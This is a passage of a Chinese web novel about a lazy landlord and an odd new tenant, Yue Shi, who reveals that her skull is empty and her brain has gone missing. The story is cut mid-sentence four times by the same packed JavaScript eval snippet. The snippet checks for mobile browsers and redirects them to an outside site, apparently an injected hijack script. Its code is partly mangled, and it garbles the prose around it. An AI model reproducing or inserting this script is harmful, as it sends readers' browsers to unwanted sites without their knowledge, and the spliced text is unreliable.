“首次签合同需交押金一份,停止续约时如不存在家具损坏等需要赔偿的问题,则押金全数退回。” …… “以上所有写了‘禁止’的条款,租户只要违反了,且给不出能说服房东的理由,则租房合同不再续约,当月合同到期时请自觉搬走。 “包括‘禁止调戏房东’这类看起来像开玩笑的也不例外。 “但没明写‘禁止’的,甚至还没在当前版本《要求》中出现的,如果让房东感到较为严重的不适,房东也可能拒绝续约。 “即,房东的感受优先级高于明文条款。 “不过房东会尽量保证讲道理,尽量在拒绝续约时给出说得通的理由。 “本《要求》会不定期更新。 “每次更新后会将新版本发在租户群里,每一版相对于上一版修改的内容都会标红。请租户们注意查看。 “允许将本《要求》传到其他地方,但只要被房东看到谁在任何地方对这份《要求》及房东本人骂骂咧咧,房东会一律将其拉黑,绝不租房给他们。 “当然,没有租房需求的人想骂,房东确实没有反制手段。 “本《要求》解释权归房东辛远所有。” 岳矢逐条看完了整个《要求》,连附录也全部看完,然后才回复辛远: “我觉得我都能做到。 “蟑螂老鼠大蜘蛛也不用你帮忙,我自己敢处理。” 辛远: “对于要求的内容,你没有想要讨价还价的? “我只禁止了对这份《要求》骂骂咧咧,但理性探讨还是可以的。 “如果你提出的意见能说服我,我也不是不能修改要求。 “反正你也应该看出来了,这份要求改了非常多遍,基本是补丁叠补丁。 “我自己看着都觉得写得很乱,又臃肿,还重点不够明确。 “但租户们的创造力实在太强了,我列出的每一条都经常会需要补充、强调,或者更改优先级。 “一年又一年叠加下来,就形成了现在的版本。 “甚至连序号我都不好加,因为这一版加上了,很可能下一版又得调序,麻烦。” 岳矢: “我想不出需要修改的内容。 “毕竟我根本没有脑子嘛。 “也就是失去了思考能力。” 辛远往上翻了下他与岳矢的聊天记录,确定自己已经在现实中道过歉了,不是只梦到自己道歉。 于是辛远盯着岳矢最新发来的消息沉吟片刻,还是感觉很难单从文字上判断岳矢这是在开玩笑,还是在阴阳怪气。 辛远对轻度的阴阳怪气没啥意见,但重度阴阳怪气的家伙是被他划出租户名单了的。 辛远也没太花时间隔空判断岳矢此刻的语气问题,反正签租房合同之前他们肯定会线下再见面。 语气也好,态度也好,面对面时都很容易准确分析。 今天是周四,两人约在周六看房,如果合适就当场签约。 定好时间,两个不熟的人也就没什么可聊的了。 辛远暂时回到自己正常的生活节奏中。 周五时王阿姨向辛远打听岳矢的租房情况。 辛远: “明天才正式看房。 “租不租都是明天才能定的。” 王阿姨: “但你俩已经在云区里聊过了。 “感觉怎么样?” 辛远: “这问题有点怪。” 王阿姨: “你这么一说,好像是有点。 “可能是因为我最近牵线了好几对相亲,导致说话语气带上了媒人惯性。 “我只是想问你,你跟那姑娘消除误会了吗?” 辛远: “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171293|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接称呼岳矢的名字行吗? “称呼‘那姑娘’还是像相亲用语。” 王阿姨: “不过说起来,在那模糊不清视频的传播中,确实有不少人以为你和岳矢是一对男女朋友。” 辛远: “那视频传播得广吗?” 王阿姨: “不用担心,就常规热度。 “过几天即使你想被人议论,也没人还记得。” 辛远: “我一个收入稳定的无业游民,无所谓被谁议论、议论到什么程度。 “我主要是担心岳矢被别人指指点点。 “这事对她算是无妄之灾,她有正经工作,如果这些议论传到她公司里,如果她面皮薄些,可能会比较难受。 “对了,你知道岳矢是属于内向型还是外向型的性格吗?” 王阿姨: “老赵一直都说她文静,应该是内向型吧。” 辛远: “我刚搬来我们小区住的头几个月,你好像也用过‘文静’来形容我?” 王阿姨: “现在我也说你多数时候都挺文静的。 “不飙车、不泡吧、不邀请一群人到你家里鬼哭狼嚎。 “虽然懒了点,没什么上进心,但现在年轻人不就流行这个躺平嘛。 “你总归是没有违法乱纪,没有影响别人的生活。 “当然我觉得啊,即使躺平,三餐也尽量要自己做,老是吃外卖、吃速食品,真的对身体不好。” 辛远转移话题: “岳矢只在赵阿姨他们小区住了一个多月,赵阿姨了解的是岳矢的真实性格吗?” 王阿姨: “你要这么说,那我也没其他渠道给你打听岳矢的真实性格。 “不过有一点可以肯定,岳矢现在的那个房东一家咄咄逼人的时候,岳矢没有表现出害怕。 “她只是有理有据地拒绝了那个房东的无理要求,并给自己争取到了足够的找新住处的时间。 “没有多掏给那房东一分钱。 “所以岳矢肯定不是个软弱好欺负的性子。” 辛远突然又想起来岳矢在他面前揭开头盖骨的那一幕。 但这次少了惊悚感,却好像多了一重暗示,仿佛岳矢在说: “不建议你欺负我,否则我可能会吓死你哟。” 辛远:难道陷入幻觉之时,能看到一个人的本质吗?好像确实有说法称,一个人在生死之际,容易开天眼?等等,这二者好像不是一回事? 辛远从科学想到玄学再想到路边摊民俗,最后问王阿姨: “岳矢现在的那个房东是怎么回事? “上次你只说那房东想涨房租,岳矢不同意,于是双方谈崩了。 “怎么现在看着还有无理取闹的成分? “当然,刚租一个多月就要涨房租是有点不地道,但通常只会试探地说一说,不至于咄咄逼人吧? “那一家人一起逼个独身一人的年轻姑娘?” 王阿姨: “你不能拿你的思路去想其他房东。 “你是根据当前市场价和你自己的额外要求定下合适的房租。 “谁来租房你都是报这个价。 “从不存在额外收费。 “要涨价你会在头一年年底就提前通知,等过完年后再涨。” 9. 09 ☆、入住 王阿姨: “但有些房东定房租时比较灵活,会看人下菜碟。 “当然,为了面子上过得去,他们报出的基础房租都一样,每次提高基础房租也符合市场情况。 “只是在基础房租之外,他们还会找理由增设其他收费项目。 “如果在第一次增加收费项目使实际总房租增加一百时,某租户嫌另找住处搬家麻烦,忍气同意了,不久后房东就敢对这位租户要求多加两百。 “等到租户实在忍受不了,要搬了,房东才说‘刚就开个玩笑,那一笔不另外收费。房租这个月不变’。 “要是租户接受了‘玩笑’这个说法,放弃搬家,那么之后房东就会时不时拿加一两百房租开玩笑,直至租户不胜其扰地同意加钱。” 辛远: “为了一两百这么反复试探吗? “能有多余的房子拿出去租的人,不会差这点吧? “在骚扰租户的同时,房东自己的时间也搭进去了。” 王阿姨: “那又不是一次性的,加成功了之后就是每个月多赚一两百。 “你希望租户们尽量给你省事,除了每个月续约交钱外最好少打扰你的生活。 “为此你愿意一定程度地让利。 “但有些房东是把这当生意在做,满心都想着利益最大化。 “你去购物网上看看那五级能效空调的销量,有些人连电费都要薅一笔。 “代收水电气费时上浮百分之十几二十甚至直接翻倍更是常规操作了。” 辛远: “这个市场还是不够规范,总觉得迟早要遭遇一场大整顿。” 王阿姨: “要是真整顿了,你的租户们可能另有打算不一定,但这四个小区的老邻居们一定都帮你说话。” 辛远倒并不担心,这种与他们辛家最大或者说仅剩的资产直接相关的政策,如果有苗头,他们家怎么也能快速收到消息。 到时候看情况应对就行。 到了周六,上午十点,岳矢如约敲响了辛远的家门。 今天的岳矢穿着七分裤,头发松松梳成一个马尾,而且没有踩平衡车。 总之整个人看着与鬼毫无相似处。 辛远偷偷看了一眼小区内各种群,确定没有人议论岳矢的出现,很可能根本没人意识到她就是周三晚上鬼叫事件的当事人之一。 辛远:很好,就让那事成为当事人被模糊处理的都市异闻吧。 辛远友好地对岳矢说: “现在我这儿有四套房是空着的,一套六楼,一套七楼,一套一楼,以及我对面这套。 “你看你想租哪套。 “面积、房型、朝向都完全一样。 “这楼没电梯,所以爬高层会比较累。 “不过六七楼有一个好处是方便上天台。 “这楼的天台我专门加固过,养点花、种点菜、做点不太剧烈的运动都可以。” 说话间辛远到底没忍住视线往岳矢的头顶飘。 老想看清她的头盖骨位置是否存在接缝。 辛远也不确定岳矢有没有注意到他难以自控的失礼视线。 反正岳矢没有指出,只认真倾听辛远的说明。 即使辛远所说的部分内容在租户要求里已经写明,岳矢依然没有露出丝毫不耐烦的神色。 这让辛远越发感到愧疚。 明明是个很好的人,偏在自己的印象里她就带上了恐怖诡异的成分。 辛远:以后吃菌子一定要更谨慎。而且哪怕吃肯定无毒的菌子也绝对不能喝酒。 因为心中有愧,于是辛远的介绍越发热情。 不像平常对待其他有租房意愿的人那般摆出“你随便看,看好了、确定要租了,我们再继续谈”的姿态。 这惹得上下楼路过辛远两人的其他租户颇为诧异。 然后这些租户在不包含辛远的租户群里一合计,判断: “女朋友?” “有名份的女朋友怎么还会收她租金?” “所以应该是好感对象。” “单相思的那种。” “不敢过分直白地说‘不用付钱,你随便住’,因为那太容易让还没产生相同好感的女方心生警惕。 “所以就只表现出热情,尽量刷好感度。” “即使是女朋友,只要没结婚,该付的房租还是得付。” “‘女朋友’的名头不是‘占便宜证书’。” “人家男女朋友之间一个想占便宜,一个乐意被占便宜,你管得着吗?” 在包含辛远的租户群里,租户们会尽可能表现得一团和气,就怕辛远觉得他们哪个不好相处、不愿意续约。 附近这个价位要租到这种条件的房子可不容易。 尤其房东还把关将租户素质给筛了一边。 人品太差的要么根本住不进来,要么住进来一个月就被房东拒绝续约。 充分为其他守规矩的租户保证了邻居质量。 再说,辛远的各种规矩虽然多了点,但所有规矩都明明白白列出来,明文条款之外的事情都很好沟通,从不胡乱找茬。 这样标准恒定的、省心的房东也不容易遇到。 租户们都挺高兴能租到这样的房子,自然便会尽量保住自己的租房资格。 而在没辛远的租户群里,租户们发言就肆意很多。 说着说着吵起来的情况也时有发生。 不过就只是口头上吵吵,并不会真记在心里。 之后需要相互帮忙时也不会吝啬。 正因为知道他们吵不出事,所以辛远即使明知道他们背着他另有一个群,也完全不在意。 辛远:学生背着班主任另建一个班级群太正常了。 辛远给岳矢介绍: “每套房子租户搬走的第二或第三天我都会让保洁大扫除一次。 “之后如果长时间没人租,每个月会大扫除一次。 “这四套空房近的是这周二刚打扫过,远的是上上周周六打扫的。 “基础家具都大同小异。 “我置办的是床、衣柜、桌子、冰箱、空调、洗衣机这些大件,边角都刻了‘辛’字。 “这些东西如果出现非人为原因故障,或者你想要自费更换,都需要通知我。 “停止续租时,如果我查看到它们有人为损坏痕迹,我会从押金里扣修理费。 “前面的租户在搬家时经常会留下一些东西,像是小柜子、鞋架、凳子什么的。 “这些东西你可以自行处理。留着自己用,或者扔掉都不用问我。 “你选中某一套空房后,如果其他三套空房里有前租户留下的东西你用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171294|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得上,你也可以拿到你那套房子里。 “等那些房子签了新租户后你就不能再拿了。” 最终,岳矢选定了辛远对面的那套房。 辛远对此并不意外。 在没有电梯的楼里,以现代人的普遍体力,爬六七楼确实吃力。 而一楼有点没安全感。 主要倒不是担心小偷,因为装有防盗栏。 最大的不自在是其他人路过时很容易透过窗户看到屋内的情况。 总不能整天都拉着窗帘吧? 即使辛远给不同的楼层定了不同的租金,三四楼相对是租金最高的,但三四楼依然最容易租出去。 岳矢是运气好,原本住她选那套的租户这周一刚搬走,才能正好空下来让岳矢租到。 岳矢很有效率,也可能是为了尽快远离前房东而已完全准备妥当,她在与辛远签好合同后的当天就将她的所有东西都搬到了新住处。 第二天便将屋子收拾得基本整洁。 第三天则可以正常上班。 辛远相当佩服她这速度。 虽然辛远见过无数次租户搬进来搬出去,但他依然觉得搬家是个大工程。 辛远自己不到万不得已是肯定不会愿意搬的。 住习惯的家里,每一件东西都放在他顺手的地方,换个新地方一切都得重头放置,脑细胞不知道得死多少。 说到脑细胞,辛远就想起岳矢说她没脑子。 当隔着网络仅用文字交流时,辛远怀疑那是岳矢在对他阴阳怪气。 可当面对面岳矢也这么说了后,辛远感觉她颇为认真。 跟她听他讲解租房规则一样认真。 不,准确地说应该是,岳矢干什么事情都好像带着一本正经的气场。 仿佛她根本没有“开玩笑”的脑细胞。 辛远以说不清楚算不算玩笑的语气问岳矢: “但你在这么短的时间内就把新住处收拾好,所有东西都摆在了合适的位置,这不是很需要思考、很需要调动脑细胞吗?” 岳矢: “锅碗瓢盆放厨房,枕头被褥放主卧,杂物放次卧,都是按流程的事情。 “不需要动用脑细胞,只需要遵循常规规则。” 辛远这栋楼的房型在刚建的当年就比较小众,放在现在依然不多见。 它的最大特点是:卧室大、客厅小。 而当年流行的户型刚好相反,是卧室小、客厅大。 现在流行的很多户型卧室虽然较大,但因为整个房子的面积也较大,所以客厅很少有太小的。 辛远这每一套还不到六十平的房子,两个卧室都是十多平,加起来有三十平。 剩下二十多平包含了客厅、厨房、卫生间以及阳台。 是非常不适合待客的户型。 尤其辛老爷子当年准备把这些房子租出去前,还给每个客厅都配了一张那时很流行的实木八仙桌。 这桌子非常耐用,至今还在每套房子里扎扎实实地摆放着,除了局部有一些划痕外,丝毫不影响使用。 有时为了换灯泡踩上去,完全不用担心摇晃或垮塌。 除了站得高些,踩在这八仙桌上与踩平地上基本感觉不到差别。 把这八仙桌往客厅正中一放,再摆上与它配套的四张实木高背椅,其他人就别指望能在客厅中走动。 10. 10 ☆、相互适应 尤其几年前辛远统一淘汰了工作多年的单开门冰箱后,应租户们的强烈要求,置办了双开门的,也是放客厅,然后那八仙桌基本就只能靠墙放。 不然即使把那四张高背椅放其他地方,人路过客厅时也得侧身走。 有不止一位租户提过这桌子碍事的问题。 但多数租户都觉得家里有这么一张桌子挺好的。 比起那些摇摇晃晃的折叠桌,这实木大桌子会显得这里更像是个家,而不只是临时的落脚地。 辛远自己也不太想换掉这套实木桌椅。 因为他总觉得它们是在替老爷子镇守这栋楼。 而且这桌椅扔掉后如果想再买,现在可很难找到这么扎实的做工了。 再说想扔也很麻烦。 太特么重了。 光是大件垃圾处理费就得一大笔,还得先找人把这些桌椅从每套房里搬下楼。 现在的人工费与当年的相比可不是一个档次。 这栋楼的楼梯还窄,辛远买双开门冰箱时千挑万选才找到一款格外薄的,不然入户时还得拆装折腾一番。 辛远是真的很难想象当年是怎么把这些桌子搬进每户的。 也许和床及柜子一样,也是拆成零件到室内进行拼装? 房子里的床、衣柜也是老爷子的安排。 并非八仙桌那样的实木,但也是非常厚实的板材,用了二十多年没有任何变形。 更换过一次衣柜活页后,使用时它们也不会发出多余的声响。 广受租户好评。 对于床和衣柜,租户只有两点不满。 一是颜色,略显暗沉了些。 二是床的尺寸,两个卧室里都是一米五乘两米的。 虽然因为卧室面积足够大,摆这么一张床再加一个大衣柜并不会显得拥挤,但对于单独一人来租房的,用不上两张床。 对于带着孩子来租房的,则觉得那床给小孩用太大了些。 基本只有两人合租的情况才会觉得这样的两张床刚刚好。 不过,即使略有不满,但基本没有谁找上辛远希望把这床卖掉另买其他床。 毕竟是租房,自带家具能用就行。 在其他地方放张吱嘎作响的折叠床也能将就,这有了结实的床,肯定不至于只因为尺寸、颜色不完美符合自己的心意就要求换。 辛远: “重点是,想换床的人在‘换什么样的床’这一点上达不成共识。 “对比一下当初换冰箱。 “有人提议换双开门的,其他所有租户听说换了后不增加房租,全都立刻举双手赞成。 “对具体的颜色款式完全不挑,仿佛生怕提点要求会导致我改主意。 “这就很容易办到。 “但换床…… “有些人想要两米乘两米的。 “有些人想一个房间放两张一米二乘两米的。 “有些人希望床的颜色能活泼些。 “有些人觉得现在木板床的颜色就很好。 “所以即使我当真换了床,应该依然是满意的与不满意的各有一部分。 “剩下多数租户的态度则都应该是;不太挑、能用就行。 “既然现在这床已经达到了‘能用’‘即使不完美但也算不上差’的标准,那就继续保持吧。 “以这床的用料,我觉得到我老死都不用换。” 租户们: “光说结实,现在的床、柜子,当然还包括桌椅,确实极少有租屋能达到我们楼的水平。” “当年辛老爷子明明已定下了要把房子租出去,还给配这种家具,真是良心。” 辛远知道,他爷爷主要不是良心,而是在给子孙们保留底线退路时,很用心。 无论他们家的这些废材子孙是在老爷子去世后立刻潦倒,还是过三五十年再潦倒,这房子以及房子里的基本家具都保证了还能用。 能用到他们这两代人全寿终正寝之时。 至于再之后的子子孙孙,即使以老爷子那多思多虑的劳碌性子,也实在不愿意继续操心了。 当然,准备得再充分,遇到辛遇那种快速变现又快速赔掉的,也没辙。 大概就是因为知道有部分房产保不住太久,所以老爷子才整整留了四处,分别交给四个人管理。 总他不肖子孙的有一个能守到这两代人全都寿终正寝之时吧? 辛远眼看着辛遇已经出局,辛迭也是个靠不住的,哪天一急眼、脑子一热她可能就要卖房。 大概只有他跟辛逸能试试守到底了。 至少守到底局部。 辛远觉得自己比辛逸更可靠。 岳矢对房内的自带家具表示了十分的满意。 但不知道为什么,她特意抽开床板,对着床下的空腔看了好一会儿。 让路过时见她门大敞开着就顺便进来看一看她搬家情况的辛远莫名有点心慌。 辛远请教: “你在看什么?” 有点害怕她回一句“看这空腔与我空荡荡的颅腔很配”。 幸好,岳矢的回答中规中矩: “看这里可以放很多东西,相当于一个大柜子了。” 辛远放下心,同意道: “对。 “虽然比起现在气压式的储物床来,这个床取放东西必须手动掀开床板。 “也就意味着同时得掀开床上的东西,比较麻烦费力,但里面的储物空间肯定足够大。 “如果你在这里住的时间比较长,那么可以每年换季时折腾一次。 “冬天的被子、夏天的风扇放里面能把其他空间腾出来不少。 “先声明,作为房东,我是不会帮任何一个租户掀床板的。 “主要是帮了一个,就很难再理直气壮地拒绝其他租户。 “所以干脆一个都不帮、一点口子都不开。” 岳矢: “我的床垫比较薄,很轻,我自己可以掀开的。” 岳矢住进来一周后,辛远感觉这是一个完全符合他要求的省心租户。 ……不对,也不是太省心。 因为某天,岳矢在单位吃完外卖去扔餐盒时,遇到一只活的白额高脚蛛。 她不仅不尖叫、不躲开,还用外卖的一次性筷子夹住,放入原本装米饭的塑料餐盒内,给带回了家。 她想要把这蜘蛛养在家里捉蟑螂。 幸好在实际养之前,岳矢询问了辛远: “你的《要求》上没有写明可不可以养这种蜘蛛。 “所以,可以吗?” 在辛远回答之前,住六楼的租户带着他还在上幼儿园的女儿路过。 那女孩一眼就看到了透明塑料餐盒内活动着的大蜘蛛。 然后,“哇”的一声哭出来了。 辛远看向岳矢: “这属于‘容易引起多数人不适的宠物’。 “我会在下一版《要求》中明确写出这种蜘蛛也禁止养。” 六楼租户一边抱起女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171295|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿安慰,一边对辛远说: “别只‘这种蜘蛛’吧,所有蜘蛛都禁止养行吗?” 辛远: “我觉得可以。 “岳矢,你有其他看法吗?” 岳矢: “我没有意见。 “我本来把它带回来也只是问问。 “既然不让养,我待会儿就去丢掉。” 辛远为岳矢的好说话松了口气,然后立刻又警惕起来: “等等,把它交给我,我来处理。 “就这样直接扔垃圾桶可能会吓到其他人。 “我们小区的垃圾桶是天天有人在翻的。” 辛远不相信一个能把这蜘蛛从单位揣回家的人会明白怎么处理这玩意才能避免吓到普通人。 六楼租户也不明白: “还要怎么处理? “不能直接踩死吗?” 辛远: “好歹是益虫。” 六楼租户: “等等,你以前帮忙抓住这种蜘蛛后,都是怎么处理的? “不会在附近放生了吧?” 辛远: “说起来你可能不相信,但有些人为了消灭蟑螂,还专门去买这种蜘蛛。” 六楼租户的女儿哭得更大声了。 岳矢歪了下头,问: “这种音量在本楼允许的范围内吗?” 六楼租户看向岳矢,眼神略带不善。 辛远多少已经有点理解岳矢的脑回路,知道她并没有指责小孩哭闹的意思。 她这就只是单纯且认真地提出自己的疑惑,以更准确地理解规则的上下限,便于之后她自己遵守。 于是辛远回答: “事出有因,可以允许。 “而且她不会哭太久。 “远离蜘蛛后,再用零食哄一哄,自然会停下来。 “她平常都很乖的。” 岳矢: “所以她这次的哭如果真要追责,应该是我负责?” 辛远: “你…… “这是第一次,又并非故意,就不追究你的责任了。” 六楼租户琢磨出点味道,以全新的目光打量起岳矢。 辛远看向他: “你赶紧回家吧。 “你女儿都哭得在打嗝了。 “要是你老婆回来时你女儿还眼睛发红……” 六楼租户连忙抱着女儿上楼。 一边走一边还不忘强调: “一定不要把蜘蛛放生在附近啊。 “哪怕它是益虫,但也是真吓人。” 辛远: “放心。 “我以前处理这玩意从来也没哪次是过两三天你们中就又有人看到了对吧? “其实这楼里总共也没出现过这玩意几次。 “只不过每次动静都闹得有点大。” 岳矢将大蜘蛛交给辛远,便像是认为此事与自己再无关系,转头回家了。 辛远看着岳矢的背影,莫名又产生了一点诡异感。 这一次主要是觉得岳矢这人性子有点怪。 她好像基本没有好奇心,也没有争强好胜之心。 别人告诉她的规则,能接受她就会好好执行,不能接受她就直接远离。 最多问一问规则执行的边界,但不会问规则制定的原因,也不会试图更改规则。 她好像不会去质疑、争辩、讨价还价。 尤其不会去探究与她不直接相关的事情。 11. 11 ☆、再看一次 比如六楼的一家三口,很多人第一次知道这家人在租房住时,都会诧异: “为什么不买房? “哪怕贷款呢?” “每个月与其把房租交给房东,还不如拿去还自己房子的贷款。” 实际上,来租辛远房子的人确实很少有带那么小孩子的。 有些中学生的家长会租在这里,以便让孩子不用住校、有更安静的学习环境。 还有些大学生不想住宿舍也会来这里租房。 但幼儿园孩子…… 一般来说,有了孩子后,家长都会更加追求稳定。 刚结婚时买不起房的小夫妻到了这个阶段也会咬咬牙、东拼西凑地去买属于自己的房子。 只希望能给孩子更良好的生活环境。 但毕竟也有人怎么东拼西凑依然凑不够首付。 或者不敢保证自己能长时间负担贷款。 再或者干脆没资格贷款。 总之,各家有各家的难处。 辛远自己是不太喜欢打听别人家的私事的。 无论是喜事还是难处。 最多当事人自己主动说时他听一听。 以及在感觉与自己有牵扯时会留心一二。 其他时候辛远更乐意与人保持距离。 当然,租户住在这里的时间长了后,辛远多少会听说点他们各自家中的情况。 但辛远依然会尽量管住自己的好奇心。 尽可能让双方的关系保持在单纯的租房与收钱的区间内。 可辛远感觉,岳矢好像不需要这方面的自控。 她就仿佛根本没有打听的意识。 岳矢多数时候只是单向接收信息。 然后在那些信息划出的框架内生活。 辛远认为岳矢的这种态度很值得他学习。 于是虽然对岳矢产生了一些好奇,但辛远还是努力克制住了自己,基本不问。 然后,这两个房东与租户,平安地度过了第一个月的磨合期,续签了第二个月的租房合同。 虽然签的是电子合同,付款也是线上支付,但因为仪式感,以及住得近,再加上辛远的偏好,所以两人还是面对面完成了这两件事。 在辛远家里完成的。 按照辛远的习惯,签约付款的全过程他都开着门。 上下楼路过的其他租户一看就知道这俩是在走正经常规流程。 不会猜他俩孤男寡女发生了别的事情。 续约完毕,辛远站起身准备送客。 这时岳矢突然开口: “我们现在算是有了一定的相互了解,建立起了超越陌生人的信任度了吧?” 辛远感觉这问题很奇怪。 但只从字面意思来说,答案当然为: “是的。” 岳矢: “那么,我再提这个问题你应该就能相信,而不是当作幻觉处理吧?” 辛远突然产生了不好的预感: “……什么问题?” 岳矢的左手放到自己的头顶。 手指曲起,抓住头发。 辛远刚意识到这好像与已被他贴上“幻觉”标签、扔进记忆角落发霉的惊悚场景重叠,就见岳矢做完了那惊悚场景的最后一步: 左手向外一扯,那团头发以及头发连着的头盖骨被扯离了她的脑袋。 岳矢微微低头,让辛远看到她那真的空空荡荡的颅腔,并说: “我丢失了我的脑子。 “虽然现在你身上已经没有我脑子的气味了,但以后如果你见到它,请务必告诉它我在找它。 “当然,如果你能把它带回来,放入我的颅腔中,就更好了。 “不过请不要暴力抓捕它,因为脑子是很柔弱易损的。 “需要讲道理去劝服它。 “如果它不听劝,那就暂时放它继续在外活动吧。” 不知道是不是因为一个月的相处让辛远当真对岳矢建立了一定的信任度,再次见到这个画面,辛远竟然没有惨叫。 他甚至还有余力回忆自己今天吃了什么、昨天吃了什么、喝酒了吗、发烧了吗…… 回忆结论是:除非有人在他不知情的条件下给他下毒,否则没有任何可能致幻的因素。 这时,楼道中传来脚步声,又有人在下楼。 岳矢手一松,头盖骨连同头发瞬间回到原位,毫无缝隙地安装在了她的头顶。 辛远:啊,安回去的过程原来是这样的。好快,一个晃神就错过了。 脚步声从辛远门口路过,没有停顿,逐渐远去。 显然这一位路过者并没有兴趣看一看经常都开着门的房东今天开着门又是在干嘛。 屋内,辛远百味杂陈地看着岳矢。 怕还是有点怕的。 但远不如第一次见时那么惊慌无措。 岳矢: “果然,正确的流程是先交朋友,再曝出秘密。 “第一次见面就放大招实在是太莽撞了。” 辛远缓缓坐下来,说: “这就不是莽撞不莽撞的问题……” 岳矢重新调整回正常无害甚至好像有点小学生的坐姿。 因为空间有限、椅子也有限,所以岳矢和辛远是坐在同一张八仙桌的两条相邻的边上。 两人相距不到一米。 辛远觉得比起一个月前来,自己的承受能力当真是有了长足的进步。 不仅没惨嚎、没逃跑,甚至还打算继续与对方谈。 不过已经当对门邻居一个月了,如果这位真有歹心,辛远觉得自己早已出事,好像也没必要今天再嚎。 另外,虽然“颅腔空空荡荡”这个事情很可怕,但光从视觉效果来说,岳矢的颅腔空得很干净,没有血糊糊,没有扭曲破损,就是…… 一个空腔而已。 还能隐隐看到血液在血管中流动,是一种很漂亮的红色…… 辛远醒了醒神,再次开始怀疑自己的精神状态。 没有食用致幻物品,没有生病症状,但有没有可能他的脑子发生了隐秘的病变呢? 就……即将变成精神病的那种病变? 岳矢: “你是不是又开始怀疑你幻觉了?” 说着,岳矢的左手又放到了头顶上,做出要扯的姿势。 辛远下意识后仰,但被很有重量的高背椅挡住。 辛远闭了闭眼,回答: “我只是觉得,比起接受我看到的是真实的来,接受我病了更容易。 “起码后者不影响世界的唯物属性,也有明确的解决途径。 “而前者…… “超出知识体系了。” 岳矢: “可‘脑子离开颅腔’这件事,哪里不唯物了? “其他地方也存在单独存放的大脑标本,以及去掉所有附着物的干净颅骨呀。” 辛远: “……最大的不唯物是,人别说完全丢失脑子,哪怕脑子受到稍微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171296|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重些的损伤,都会死。 “而不是像你这样正常活动、正常交谈。 “甚至还能上班赚钱。” 说到这里,辛远顿了顿,忽然反应过来之前岳矢屡次说的“我没有脑子”是实指。 无论她是怎么做到失去脑子却还活着的,但听她的意思,她的主要思考能力还是得靠脑子,于是丢失了脑子的她…… “你上班也不用脑子吗?” 不带脑子上了至少一个月的班,竟然还没有大量犯错导致被开除吗? 岳矢略显诧异: “上班为什么要脑子? “又不是上学。” 辛远: “……我是没上过班,但你也别随便驴我。 “上班不思考真的不会犯错?” 岳矢: “看工作内容吧。 “我这份工作只需要听老板的话做事就好了。 “我老板刚好不喜欢员工有主见,所以特别欣赏我。 “自从我丢了脑子,老板对我是越看越顺眼。 “这个月还给我加薪了。” 辛远觉得自己大学毕业后直接当包租公、完全没有给别人打工的经验,可能导致了他不太能跟上正经打工人的思路。 辛远诚恳向打工人发问: “现在不是大力提倡‘创新’吗? “为什么会有老板喜欢没脑子的下属?” 岳矢满脸都写着认真地回答: “有一句话是这样说的,‘越缺少什么,越强调什么’。” 辛远觉得自己可能悟了。 也可能被带进沟里去了。 算了,工作的事情先放一边,辛远决定先弄清楚直接与自己相关的事情。 也就是问岳矢: “你是人吗?” 岳矢点开手机,给辛远看她今年的体检报告电子版。 体检日期是半个月前,是辛远已知的她丢失了脑子之后的日子。 报告上具体数据的含义辛远虽然不完全懂,但结论中的“符合正常标准”“略微偏低”等文字,以及偏低等异常值的标红肯定不存在理解障碍。 总之,从这份体检报告看,岳矢就是一个普普通通的、有点小毛病的正常人。 小毛病主要包括血压低压有点偏低,还有体重略偏轻。 辛远又看了一眼岳矢,稍有些纳闷: “原来你这种身材属于偏轻的体重啊…… “我有一个堂姐看上去跟你身材差不多,但她说她已经踩在了超重的临界线上,必须注意节制饮食了。 “她现在正在很痛苦地戒宵夜。 “我确定我那个堂姐并不追求骨感美,而是单纯从健康的角度在评价她的体重。 “她说她BMI刚好二十四。” 岳矢: “以我的身高来说,我比标准体重的下限值只少零点五千克。 “而成年女性的大脑平均是重一点二千克左右。 “所以如果我没有丢失大脑,我的体重就完全在标准范围内,不存在偏轻。” 辛远有很多槽想吐。 但又觉得岳矢的解释竟然他数据的相当科学。 